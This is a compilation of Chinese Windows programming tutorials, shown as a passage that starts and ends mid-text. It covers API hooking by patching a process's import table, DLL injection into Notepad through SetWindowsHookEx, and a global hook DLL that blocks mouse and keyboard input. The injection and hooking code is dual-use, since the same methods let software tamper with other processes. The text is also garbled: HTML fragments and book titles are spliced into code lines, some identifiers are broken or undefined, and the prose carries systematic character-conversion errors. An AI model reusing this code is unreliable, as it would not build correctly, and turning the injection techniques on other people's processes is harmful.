/*12 */ pitd = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid->OriginalFirstThunk);
/*13 */ pitd2 = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid->FirstThunk);
/*14 */ do {
/*15 */ IMAGE_IMPORT_BY_NAME *piibn;
/*16 */ piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)hCurrent + *((DWORD *)pitd));
/*17 */ PROC *ppfn = (PROC *)(pitd2->u1.Function);
/*18 */ if (!strcmp("MessageBoxW",(char *)piibn->Name)) {
/*19 */ oldMsg = (MsgBoxType)(ppfn);
/*20 */ DWORD addr = (DWORD)MyMessage;
/*21 */ DWORD written = 0;
/* 改變內存讀寫狀態 */
/*22 */ DWORD oldAccess;
/*23 */ VirtualProtect(&pitd2->u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
/*24 */ APIAddress = (DWORD)&pitd2->u1.Function;
/* 向內存映像寫入數據 */
/*25 */ WriteProcessMemory(GetCurrentProcess(),&pitd2->u1.Function, &addr,sizeof(DWORD), &w
ritten);
/*26 */ }
/*27 */ pitd++;pitd2++;
/*28 */ } while (pitd->u1.Function);
/*29 */ piid++;
/*30 */} while (piid->FirstThunk + piid->Characteristics
+ piid->ForwarderChain + piid->Name + piid->TimeDateStamp);
分析:
尋覓 IMPORT TALBE
在/*1*/ 中咱們使用 GetModuleHandle(NULL)來返回當前進程在內存中映像的基地址。但這個值在文檔
中僅僅被描述爲 "a module handle for the specified module",雖然他確實是進程內存映像的基地址。若是
你不太放心的話也能夠 使用,GetModuleInformation 函數來得到基地址,只不過你要額外包含 psapi.h
和 psapi.lib 了(這個庫在 VC6 裏沒有,所 以我就沒有用這個函數了)。在/* 6 */裏咱們先找到
IMAGE_DOS_HEADER 結構,他的起始地址就是映像的基地址。/*7*/經過 IMAGE_DOS_HEADER 給
出的 PE 文件頭的偏移量,找到 IMAGE_NT_HEADERS 結構。順藤摸瓜,IMAGE_NT_HEADERS 裏 的
OptionalHeader 中的 DataDirectory 數組裏的第二個元素正是指向咱們想要的 IMPORT TABLE 的地址。
在/*9*/中咱們將其轉化爲一個 IMAGE_IMPORT_DESCRIPTOR 的結構指針存入 piid 中。
替換的 API 函數入口地址
在/*12*/ 和/*13*/中咱們分別取得 OriginalFirstThunk 和 FirstThunk 結構,用於之後獲得 API 函數的名
稱和入口地址。/*10*/ 的 do 循環讓咱們遍歷每個 IMAGE_IMPORT_DESCRIPTOR 結構也就是應用程
序引用的每一個 DLL。在/*14*/的循環中咱們遍歷 DLL 中的 IMAGE_THUNK_DATA 結構來一一查詢 API
的信息。/*16*/中咱們將 OriginalFirstThunk 轉換爲 IMAGE_IMPORT_BY_NAME 結構用於得到 API
函數的名稱進行比對。在/*18*/咱們找到 MessageBoxW 函數以後,在 /*19*/保存其原始入口地址便於以
後恢復時使用。在/*23*/咱們須要用 VirtualProtect 改變一下內存區域的讀寫性,由於通常應用程序 的映
像都是隻讀的,直接寫入會形成一個非法訪問的異常出現。在/*25*/咱們寫入本身函數的地址。
這樣就基本完成一個 API 函數的重定向。
其餘
恢復函數的 API 入口地址相對比較簡單。只要把保存的值再寫回去就能夠了。上面的程序中/*24*/我用
APIAddress 保存了存有 MessageBoxW 入口地址的地方的地址,便於之後調用 WriteProcessMemory 恢復
時使用。
跨進程理論
我 們要用本身的函數來替代別人程序裏的 API 函數,但咱們的函數與別人的程序處於不一樣的進程空間內
啊。不一樣的進程空間是不能相互調用函數的。所以咱們要想辦 法把本身的函數放入別人的進程空間去。這
時咱們就須要使用 DLL injection 技術了。若是你對她還不是十分熟悉的話,建議看看 Jeffrey Richter 大
師的< <programming applications for microsoft windows>>,也能夠參考陳寬達先生的<<c++ builder 深
度歷險>>。
簡 而言之,DLL injection 就是想辦法讓對方的進程加載咱們的一個 DLL 程序,把須要替換的函數放在我
們這個 DLL 裏。如此一來,咱們的函數就進 入了別人的進程空間了。DLL injection 方法不少,Richter
大師在書中對各方法利弊有詳細解釋,陳寬大先生的書中也有深刻的分析。我在這 裏使用
SetWindowsHookEx 函數來達到目的。主要有這幾個緣由: 1, 不用從新啓動系統,調試方便。2, 能夠利用
消息循環機制進行兩個進 程之間的通訊,能夠較好的掌握 Hook 的狀態。便於安裝與卸載。
SetWindowsHookEx 之因此能完成 DLL injection 是由於它要給一個應用程序某個環節加上一個 Hook,而
Hook 就要有 Hook Procedure 也就是 Hook 函數。若是 這個 Hook 函數在一個 DLL 中,那麼系統就會把
這個 DLL 加載到 SetWindowsHookEx 的目標進程上。從而也就達到了咱們 DLL injection 的目的了。當
然這裏咱們會用 WH_GETMESSAGE 的 Hook 進行 injection,由於這個 Hook 能夠用來監視目標 進程的消
息循環方便咱們的進程與目標進程通訊。
跨進程的實現和幾點注意
/* DllPart.Dll */
#include
#include
#include
#include
typedef (WINAPI *MsgBoxType)(HWND,LPCWSTR,LPCWSTR,UINT);
MsgBoxType oldMsg; /*API 原入口地址*/
DWORD APIAddress; /*存儲 API 入口地址的地方的地址*/
int WINAPI MyMessage(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
/* 這是用來替換的函數 */
return oldMsg(hWnd,buf,M2,MB_OK);
}
const char szApp[] = "DllPart.dll";
HHOOK hHook; /*Hook 的句柄*/
HMODULE hInst; /*DLL 模塊句柄,用於 SetWindowsHookEx 函數*/
HWND hTarget; /*目標窗口句柄*/
/*DLL 入口*/
BOOL WINAPI DllMain(HINSTANCE inst, DWORD reason, LPVOID lpvReserved)
{
hInst = inst;
switch (reason) {
case DLL_PROCESS_ATTACH:
/*調試信息,表示 DLL 已經加載*/
MessageBox(NULL,"DLL_PROCESS_ATTACH",szApp,MB_OK);
break;
case DLL_PROCESS_DETACH:
/*調試信息,表示 DLL 已經卸載*/
MessageBox(NULL,"DLL_PROCESS_DETACH",szApp,MB_OK);
break;
}
return true;
}
/*顯示 GetLastError 的信息*/
void showerr(const char *m) {
char message[255];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError()
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,255, 0);
MessageBox(NULL,message,m,MB_OK);
}
//-----------------------
void UnHookApi() {
/*卸載 API Hook 用*/
}
void HookApi() {
/*加載 API Hook 同上面介紹的函數同樣*/
}
//-----------------------
/*用於 WH_GETMESSAGE 的 Hook Procedure*/
LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSG *msg = (MSG *)lParam;
&n</c++ builder 深度歷
險></programming applications for microsoft windows> if (msg->message == WM_CHAR) {
if (msg->wParam == 'h') HookApi();
if (msg->wParam == 'u') UnHookApi();
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
extern "C" __declspec(dllexport) SetAPIHook(HWND handle) {
DWORD ThreadId = GetWindowThreadProcessId(handle, NULL);
hTarget = handle;
MessageBox(NULL, "Enabling CallWndProc Hook", szApp, MB_OK);
hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hInst,ThreadId);
if (hHook) {
MessageBox(NULL,"Hook OK!", szApp, MB_OK);
} else {
showerr("SetWindowsHookEx");
}
}
extern "C" __declspec(dllexport) UnHookAPIHook() {
MessageBox(NULL, "Disenabling CallWndProc Hook", szApp, MB_OK);
if (UnhookWindowsHookEx(hHook)) {
MessageBox(NULL,"UnHook OK!", szApp, MB_OK);
} else {
showerr("UnHookWindowsHookEx");
}
}
分析
幾個須要注意的問題
SetAPIHook 和 UnHookAPIHook 是咱們本身進程調用的用來加載 WH_GETMESSAGE Hook 的函數。
因爲咱們的程序要用 LoadLibrary 加載 這個 Dll 所以這兩個函數要用__declspec(dllexport)修飾,使其成
爲導出函數,才能被 GetAddressProc 函數找到。加上 extern "C"是讓編譯器使用 C 語言編碼方式。由於
C++編譯器會進行 Dynamic Binding(C++函數重載的實現),將函數的參數類 型附加到名稱上。是函數的導
出名看起來像 SetAPIHook@XYTZX 之類的,不利於 GetAddressProc 進行引用。所以使用 extern "C"讓編
譯器不使用 Dynamic Binding,天然使用 extern"C"的函數也就不能被重載了。
不要忘記在 GetMsgProc 最後要調用 CallNextHookEx 函數,保證 Hook 鏈的完整性。
一 定要在 Hook Procedure 中調用 HookApi 和 UnHookApi 函數,由於保存 API 入口地址的地方在目標
進程中,你必須在目標進程的進程 空間內完成卸載操做,不能在 UnHookAPIHook 或是 SetAPIHook 函
數中調用,由於 UnHookAPIHook 是咱們的進程調用的,所以在 咱們的進程空間中。在這裏使用
UnHookApi 會形成一個非法訪問的錯誤。而使用 HookApi 會給本身的 DLL 加上 API Hook。
SetWindowsHookEx 的最後參數是 ThreadId 不是 Handle,所以要經過調用 GetWindowThreadProcessId
轉換一下。
在跨進程 API HOOK 時可能用到的其餘技術
主進程與目標進程的信息交互和共享
由 於使用了 WH_GETMESSAGE 鉤子咱們能夠利用 Windows 消息機制實現進程間通信。須要注意的是
應該使用 PostThreadMessage 來 發送讓 WH_GETMESSAGE 獲得的消息而不是 SendMessage 或者
PostMessage,由於後兩個是用來給窗口發送消息的。而咱們的 WH_GETMESSAGE 是 Hook 在線程上面
的,所以需使用 PostThreadMessage.
傳遞不太大的數據能夠使用 WM_COPYDATA 消息來進行。一樣也應該注意,若是使用 MFC 的窗口過程
得到消息就須要用 SendMessage 發送了。WM_COPYDATA 的 使用相對簡單能夠參考 MSDN 的文檔。也
能夠參考附錄裏的程序 Hook.cpp 的 showerr 函數部分。
若是傳遞較大的數據或者但願數據共享比較方即可以開闢共享內存來進行數據共享。這裏簡單分析一下使
用共享內存的代碼
HANDLE hMap;
switch (reason) {
case DLL_PROCESS_ATTACH:
/*建立/打開共享內存區域*/
hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBALDA
TA),ID_MAP);
pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
if (!pg_data) {
MessageBox(NULL,"沒法創建共享內存,程序終止!",szApp,MB_OK);
if (hMap) {
CloseHandle(hMap);
hMap = NULL;
return 0;
}
}
pg_data->hInst = hInst;
showerr("共享內存映像文件");
showerr("DLL 裝載中...",FALSE);
break;
case DLL_PROCESS_DETACH:
if (pg_data) {
UnmapViewOfFile(pg_data);
pg_data = NULL;
}
if (hMap) {
CloseHandle(hMap);
hMap = NULL;
}
break;
}
上 面的代碼經過 CreateFileMapping 創建共享區域。將其第一個參數設置爲 0xFFFFFFFF 使其能建立一
個內存共享區域而不是文件。並標記 爲可讀寫的(PAGE_READWRITE).其大小爲咱們定義的結構體
GLOBALDATA 的大小。最後的 ID_MAP 是一個用來標示這個區域的字符 串。打開或者建立完共享區域
後,咱們用 MapViewOfFile 來得到這個區域的地址。以後就能夠直接使用 pg_data 來操做共享區域了。不
要忘記在 DLL 退出的時候安全的刪除共享區域釋放內存。
消息等待與安全卸載
在咱們卸載 WH_GETMESSAGE 鉤子以前必須先把目標程序的 API 調用恢復正常。咱們不能再調用
UnHookApi 以後就馬上調用 UnhookWindowsHookEx,由於頗有可能 UnHookApi 還沒來得 急完成 API
入口地址的恢復操做,WH_GETMESSAGE 鉤子就已經被卸載了。所以須要等待一段時間,等 UnHookApi
完成了恢復操做在調用 UnhookWindowsHookEx。以防錯誤發生。
extern "C" __declspec(dllexport) void UnHookAPIHook() {
/*向目標線程發送消息進行 API UNHOOK*/
PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
0);
showerr("WM_DISABLEAPIHOOK");
/*等待目標進程返回 WM_UNHOOKOK 消息,確承認以將 WH_GETMESSAGE 的 HOOK 去掉*/
MSG Msg;
do {
GetMessage(&Msg,NULL,0,0);
}while(Msg.message != WM_UNHOOKOK);
UnhookWindowsHookEx(pg_data->hHook);
PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
d(),0);
showerr("UnHookWindowsHookEx");
}
上面的代碼中咱們使用一個含有 GetMessage 的循環來等待消息的到達,一旦 UnHookApi 完成他就會發送
WM_UNHOOKOK 消息。等咱們接收到消息確認一切安全了在來卸載 WH_GETMESSAGE 鉤子。
弄清消息對象
我 們必定要清楚代碼是在主程序進程空間中執行的仍是在目標程序進程空間中執行的。像上面的
UnHookAPIHook 函數就是經過主程序調用的,所以在主程 序進程空間中執行。這樣一來用來恢復目標程
序 API 信息的 UnHookApi 完成後就應該向主程序發送消息,而不是目標程序。
目標進程加載了其餘 DLL
若是目標進程動態加載了其餘的 DLL 文件,咱們必須監視 LoadLibrary 函數。保證 DLL 中的 API 入口地
址也被正確修改。防止出現混亂的狀況。我從 LoadLibrary 得到 DLL 的路徑用於 GetModuleHandle 來取
得他的 ImageBase 的地址。
不知道文章寫的如何,但願你們能多給些批評意見。發現問題我立刻改正
Email: detrox@yang.com.cn
參考資料
< <programming applications for microsoft windows>>, Jeffrey Richter, Microsoft Press
<<c++ builder 深度歷險>>,陳寬達,華中科大出版社
<>, LUEVELSMEYER
<<iczelion's pe tutorial>>, Iczelion
附:跨進程 APIHook 的例子
先打開一個記事本程序並輸入幾個字符,運行下面的程序,加載 APIHook.以後在記事本的文件菜單中選擇
新建就會看到 API Hook 將 MessageBoxW 函數 Hook 的結果了.
代碼在 WinXP SP1 + VC6.0 測試成功。
下載源代碼
(特別感謝老羅的代碼着色器,比我本身那個好多了)
這是 DLL 的程序,Hook.dll
#include
#include
#include
#include
#include "mydef.h"
const char szApp[] = "Hook.dll"; /*應用程序名稱*/
HANDLE hMap;/*在共享內存映像的句柄*/
GLOBALDATA *pg_data; /*在共享內存中的全局數據*/
LRESULT CALLBACK GetMsgProc(int,WPARAM, LPARAM);
/*顯示 GetLastError 指出的錯誤*/
void showerr(const char *m, BOOL GetError = TRUE) {
char message[127];
char buf[255];
COPYDATASTRUCT cds;
if (GetError)
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0
,GetLastError(),MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,127, 0);
else
*message = 0;
if (Get</iczelion's pe tutorial></c++ builder 深度歷
險></programming applications for microsoft windows> CurrentThreadId() != pg_data->idMain)
sprintf(buf,"目標程序空間 DLL: %-30s [%-40s]",m, message);
else
sprintf(buf,"主程序空間 DLL : %-30s [%-40s]",m, message);
cds.lpData = buf;
cds.cbData = sizeof(buf);
cds.dwData = 0;
SendMessage(pg_data->hWndMain,WM_COPYDATA,(WPARAM)pg_data->hWndTarget,(LPARAM
)&cds);
SetLastError(0);
}
int WINAPI MyMessageBoxW(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
wchar_t buf[255];
swprintf(buf,L"!!這個窗口的 API 被 Hook 了!! HWND: 0x%08X Message: %s Caption: %s"
,(DWORD *)hWnd
, M1
, M2);
pg_data->oldAPIFunction(hWnd,buf,M2,MB_OK);
return pg_data->oldAPIFunction(hWnd,M1,M2,M3);
}
/*DLL 入口函數*/
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason,LPVOID lpvReserved)
{
switch (reason) {
case DLL_PROCESS_ATTACH:
/*建立/打開共享內存區域*/
hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBAL
DATA),ID_MAP);
pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
if (!pg_data) {
MessageBox(NULL,"沒法創建共享內存,程序終止!",szApp,MB_OK);
if (hMap) {
CloseHandle(hMap);
hMap = NULL;
return 0;
}
}
pg_data->hInst = hInst;
showerr("共享內存映像文件");
showerr("DLL 裝載中...",FALSE);
break;
case DLL_PROCESS_DETACH:
showerr("DLL 卸載中...",FALSE);
if (pg_data) {
UnmapViewOfFile(pg_data);
pg_data = NULL;
}
if (hMap) {
CloseHandle(hMap);
hMap = NULL;
}
break;
}
return true;
}
/*卸載 API Hook*/
void UnHookApi() {
DWORD written = 0;
DWORD oldaddrAPIFunction = (DWORD)pg_data->oldAPIFunction;
WriteProcessMemory(GetCurrentProcess(),(DWORD *)pg_data->addrAPIEntryPoint
, &oldaddrAPIFunction,sizeof(DWORD), &written);
showerr("WriteProcessMemory on UnHook");
/*向主線程發送 API UNHOOK 處理完畢的消息*/
PostThreadMessage(pg_data->idMain,WM_UNHOOKOK,0,0);
}
/*加載 API Hook*/
void HookApi(const char* szApiName, tAPIFunction newAddr, DWORD ImageBase) {
/*這段代碼請參考文章中的分析*/
IMAGE_DOS_HEADER *pidh;
IMAGE_NT_HEADERS *pinh;
IMAGE_DATA_DIRECTORY *pSymbolTable;
IMAGE_IMPORT_DESCRIPTOR *piid;
pidh = (IMAGE_DOS_HEADER *)ImageBase;
pinh = (IMAGE_NT_HEADERS *)((DWORD)ImageBase + pidh->e_lfanew);
pSymbolTable = &pinh->OptionalHeader.DataDirectory[1];
piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)ImageBase + pSymbolTable->VirtualAddress);
do {
IMAGE_THUNK_DATA *pitd_org,*pitd_1st;
pitd_org = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid->OriginalFirstThunk);
pitd_1st = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid->FirstThunk);
do {
IMAGE_IMPORT_BY_NAME *piibn;
piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)ImageBase + *((DWORD *)pitd_org));
PROC *pAPIFunction = (PROC *)(pitd_1st->u1.Function);
if (!strcmp(szApiName,(char *)piibn->Name)) {
DWORD addrNewAPIFunction = (DWORD)MyMessageBoxW;
DWORD written = 0;
DWORD oldAccess;
pg_data->oldAPIFunction = (tAPIFunction)(pAPIFunction);
/*Change Memeory State*/
VirtualProtect(&pitd_1st->u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
showerr("VirtualProtect");
pg_data->addrAPIEntryPoint = (DWORD)&pitd_1st->u1.Function;
/*Write Process Memory*/
WriteProcessMemory(GetCurrentProcess(),&pitd_1st->u1.Function
, &addrNewAPIFunction,sizeof(DWORD), &written);
showerr("WriteProcessMemory on Hook");
}
pitd_org++;
pitd_1st++;
} while (pitd_1st->u1.Function);
piid++;
} while (piid->FirstThunk + piid->Characteristics
+ piid->ForwarderChain + piid->Name + piid->TimeDateStamp);
}
//-----------------------
extern "C" __declspec(dllexport) BOOL SetAPIHook(HWND _target) {
pg_data->hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,pg_data->hInst,pg_data>idTarget);
showerr("SetWindowsHookEx");
/*向目標線程發送消息進行
API HOOK*/
if (pg_data->hHook) {
PostThreadMessage(pg_data->idTarget,WM_ENABLEAPIHOOK,0,0);
} else {
return FALSE;
}
showerr("WM_ENABLEAPIHOOK");
return TRUE;
}
extern "C" __declspec(dllexport) void UnHookAPIHook() {
/*向目標線程發送消息進行 API UNHOOK*/
PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
0);
showerr("WM_DISABLEAPIHOOK");
/*等待目標進程返回 WM_UNHOOKOK 消息,確承認以將 WH_GETMESSAGE 的 HOOK 去掉*/
MSG Msg;
do {
GetMessage(&Msg,NULL,0,0);
}while(Msg.message != WM_UNHOOKOK);
UnhookWindowsHookEx(pg_data->hHook);
PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
d(),0);
showerr("UnHookWindowsHookEx");
}
LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSG *msg = (MSG *)lParam;
if (msg->message == WM_ENABLEAPIHOOK) {
HookApi("MessageBoxW",MyMessageBoxW,(DWORD)GetModuleHandle(NULL));
}
if (msg->message == WM_DISABLEAPIHOOK) {
UnHookApi();
; }
if (msg->message == WM_DESTROY) {
showerr("目標進程退出!",FALSE);
}
}
return CallNextHookEx(pg_data->hHook,nCode,wParam,lParam);
}
這個是主程序的關鍵部分 HookGui.cpp
用 MFC 創建一個窗口程序,包含兩個按鈕和一個 ListBox
typedef void (*PUnHookAPIHook)();
typedef BOOL (*PSetAPIHook)(HWND);
HMODULE hDll = NULL;
HWND hNotePad = NULL;
PSetAPIHook SetAPIHook;
PUnHookAPIHook UnHookAPIHook;
GLOBALDATA *pg_data; /*在共享內存中的全局數據*/
HANDLE hMap; /*在共享內存映像的句柄*/
int CHookGUIDlg::showerr(const char* m) {
char message[127];
char buf[255];
int errId = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0
,errId,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,127, 0);
sprintf(buf,"主程序 : %-30s [%-40s] ",m, message);
c_List1.InsertString(c_List1.GetCount(),buf);
UpdateData(FALSE);
return errId;
}
void CHookGUIDlg::OnSetapihook()
{
// TODO: Add your control notification handler code here
hDll = LoadLibrary("Hook.dll");
showerr("LoadLibrary");
hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS,false,ID_MAP);
showerr("OpenFileMapping");
pg_data = (GLOBALDATA *)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);
showerr("MapViewOfFile");
if (!pg_data) {
MessageBox("不能打開共享內存程序終止!");
return;
}
SetAPIHook = (PSetAPIHook)GetProcAddress(hDll,"SetAPIHook");
showerr("GetProcAddress-SetAPIHOOK");
pg_data->hWndTarget = ::FindWindow("NotePad",NULL);
pg_data->hWndMain = m_hWnd;
pg_data->idMain = GetWindowThreadProcessId(m_hWnd,NULL);
pg_data->idTarget = GetWindowThreadProcessId(pg_data->hWndTarget,NULL);
if (!showerr("FindWindow")) {
if (SetAPIHook) {
if (SetAPIHook(hNotePad))
PostThreadMessage(pg_data->idTarget
, WM_SETCALLERID,(LPARAM)GetCurrentThreadId(),0);
else {
MessageBox("SetWindowHookEx 時出錯,程序終止!");
return;
}
&n } else {
MessageBox("沒法取得 SetAPIHook 函數!程序終止!");
}
} else {
MessageBox("內存中沒有找到 NOTEPAD.EXE");
}
c_SetApiHook.EnableWindow(FALSE);
c_UnsetApiHook.EnableWindow();
}
void CHookGUIDlg::OnUnsetapihook()
{
// TODO: Add your control notification handler code here
if (hDll) {
if ( !IsWindow(pg_data->hWndTarget)) {
MessageBox("目標進程不在內存中");
return;
}
UnHookAPIHook = (PUnHookAPIHook)GetProcAddress(hDll,"UnHookAPIHook");
showerr("GetProcAddress-UnHookAPIHook");
if (UnHookAPIHook)
UnHookAPIHook();
FreeLibrary(hDll);
showerr("FreeLibrary");
hDll = NULL;
} else {
MessageBox("請先加載 DLL");
}
c_SetApiHook.EnableWindow();
c_UnsetApiHook.EnableWindow(FALSE);
}
void CHookGUIDlg::OnOK()
{
// TODO: Add extra validation here
if (hDll) {
OnUnsetapihook();
}
CDialog::OnOK();
}
BOOL CHookGUIDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
// TODO: Add your message handler code here and/or call default
c_List1.InsertString(c_List1.GetCount(),(char *)pCopyDataStruct->lpData);
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}
vc 鉤子知識的詳細解釋和實例
做者:佚名出處:IT 專家網 2009-12-07 13:00
本文介紹 vc 鉤子知識的詳細解釋和實例。
Hook 鉤子用法:
在用 hook 鉤子的時候,要注意的一些:
首先咱們得建立鉤子,分爲全局的鉤子和局部的鉤子。
局部的鉤子在程序中寫鉤子的過程函數就能夠了。
全局的鉤子,則須要在 dll 中寫出過程函數,而後在程序中進行鏈接使用。
主要的函數:
SetWindowHookEx();能夠設置全局或者局部的鉤子
SetWindowsPos()設置窗口的位置
GetSystemMetrics()能夠獲取窗口的大小等等系統的資源數據
#pragma data_seg(「my section」)
………………..//設置一個變量或者多個變量爲一個節,一遍全部的進程共享,對於節
點中的每個變量咱們都應賦予初始值,不然全部線程不能共享這個變量。
#pragma data_seg()
#pragma comment(linker,」/section:mysec,RWS」)//將這個節設置爲共享,也就是說這
個節裏面的全部的變量都是全部進程共享的。
GetModuleHandle()//獲取當前的模塊的句柄。
一下是一個關於全局鉤子的 dll 鏈接庫。
#include
HHOOK g_mhook;
HHOOK g_khook;
#pragma data_seg("mysec")
HWND g_hwnd=NULL; //設置的節點,以供全部的線程共享這個變量
#pragma data_seg()
#pragma comment(linker,"/section:mysec,RWS")
LRESULT CALLBACK mouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1; //鼠標鉤子,鼠標徹底屏蔽
}
LRESULT CALLBACK keyProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
if (VK_SPACE==wParam)
{
::SendMessage(g_hwnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_mhook); //鍵盤鉤子,屏蔽了除空格之外的全部按鍵,當按
下空格的時
UnhookWindowsHookEx(g_khook); //侯,無論在處於激活狀態的是哪個窗口均可以
退出
}
else
return 1;
}
void SetHook(HWND hwnd)
{
g_hwnd=hwnd;
g_mhook=SetWindowsHookEx(WH_MOUSE,mouseProc,GetModuleHandle("inner.dll"),0
);//導出函數,這個在.def 文件中應該進
g_khook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle("inner.dll"),0
);//行標識
}
在 VC++ 6.0 下應用 Win32 系統鉤子技術
信息產業部電子第二十二研究所 郎銳
1、引言
鉤子的本質是一段用以處理系統消息的程序,經過系統調用,把它掛入系統。鉤子的種類很
多,每種鉤子能夠截獲並處理相應的消息,每當特定的消息發出,在到達目的窗口以前,鉤
子程序先行截獲該消息、獲得對此消息的控制權。此時鉤子函數能夠對截獲的消息進行加工
處理,甚至能夠強制結束消息的傳遞。這有點相似與 MFC中的 PreTranslateMessage 函數,
所不一樣的是該函數只能用於攔截本進程中的消息,而對系統消息則無能爲力。
2、Win32 系統鉤子的實現
每種類型的鉤子均由系統來維護一個鉤子鏈,最近安裝的鉤子位於鏈的開始,擁有最高的優
先級,而最早安裝的鉤子則處在鏈的末尾。要實現 Win32 的系統鉤子,首先要調用 SDK 中
的 API 函數 SetWindowsHookEx 來安裝這個鉤子函數,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一個參數是鉤子的類型,經常使用的有 WH_MOUSE 、 WH_KEYBOARD 、
WH_GETMESSAGE 等;第二個參數是鉤子函數的地址,當鉤子鉤到任何消息後便調用這
個函數;第三個參數是鉤子函數所在模塊的句柄;第四個參數是鉤子相關函數的 ID 用以指
定想讓鉤子去鉤哪一個線程,爲 0 時則攔截整個系統的消息此時爲全局鉤子。若是指定肯定
的線程,即爲線程專用鉤子。
全局鉤子函數必須包含在 DLL(動態連接庫)中,而線程專用鉤子則可包含在可執行文件
中。獲得控制權的鉤子函數在處理完消息後,能夠調用另一個 SDK 中的 API 函數
CallNextHookEx 來繼續傳遞該消息。也能夠經過直接返回 TRUE 來丟棄該消息,阻止該消
息的傳遞。
使用全局鉤子函數時須要以 DLL 爲載體,VC6 中有三種形式的 MFC DLL 可供選擇,即
Regular statically linked to MFC DLL(標準靜態連接 MFC DLL)、 Regular using the shared
MFC DLL(標準動態連接 MFC DLL)以及 Extension MFC DLL(擴展 MFC DLL)。第一種
DLL 在編譯時把使用的 MFC 代碼連接到 DLL 中,執行程序時不須要其餘 MFC 動態連接類
庫的支持,但體積較大;第二種 DLL 在運行時動態連接到 MFC 類庫,於是體積較小,但卻
依賴於 MFC 動態連接類庫的支持;這兩種 DLL 都可被 MFC 程序和 Win32 程序使用。第三
種 DLL 的也是動態鏈接,但作爲 MFC 類庫的擴展,只能被 MFC 程序使用。
3、Win32 DLL
Win32 DLL 的入口和出口函數都是 DLLMain 這同 Win16 DLL 是有區別的。只要有進程或
線程載入和卸載 DLL 時,都會調用該函數,其原型是:
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID
lpvReserved);其中,第一個參數表示 DLL 的實例句柄;第三個參數系統保留;第二個參數
指明瞭當前調用該動態鏈接庫的狀態,它有四個可能的值:DLL_PROCESS_ATTACH(進
程載入)、DLL_THREAD_ATTACH(線程載入)、DLL_THREAD_DETACH(線程卸載)、
DLL_PROCESS_DETACH(進程卸載)。在 DLLMain 函數中能夠經過對傳遞進來的這個參
數的值進行判別,根據不一樣的參數值對 DLL 進行必要的初始化或清理工做。因爲在 Win32
環境下,全部進程的空間都是相互獨立的,這減小了應用程序間的相互影響,但大大增長了
編程的難度。當進程在動態加載 DLL 時,系統自動把 DLL 地址映射到該進程的私有空間,
並且也複製該 DLL 的全局數據的一份拷貝到該進程空間,每一個進程所擁有的相同的 DLL 的
全局數據其值卻並不必定是相同的。當 DLL 內存被映射到進程空間中,每一個進程都有本身
的全局內存拷貝,加載 DLL 的每個新的進程都從新初始化這一內存區域,也就是說進程
不能再共享 DLL。所以,在 Win32 環境下要想在多個進程中共享數據,就必須進行必要的
設置。一種方法即是把這些須要共享的數據單獨分離出來,放置在一個獨立的數據段裏,並
把該段的屬性設置爲共享,創建一個內存共享的 DLL。
4、全局共享數據的實現
能夠用#pragma data_seg 創建一個新的數據段並定義共享數據,其具體格式爲:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享數據
#pragma data_seg()
全部在 data_seg pragmas 語句之間聲明的變量都將在 shareddata 段中。僅定義一個數據
段還不能達到共享數據的目的,還要告訴編譯器該段的屬性,有兩種方法能夠實現該目的(其
效果是相同的),一種方法是在.DEF 文件中加入以下語句:
SETCTIONS
shareddata READ WRITE SHARED
另外一種方法是在項目設置連接選項中加入以下語句:
/SECTION:shareddata,rws
5、鼠標鉤子程序示例
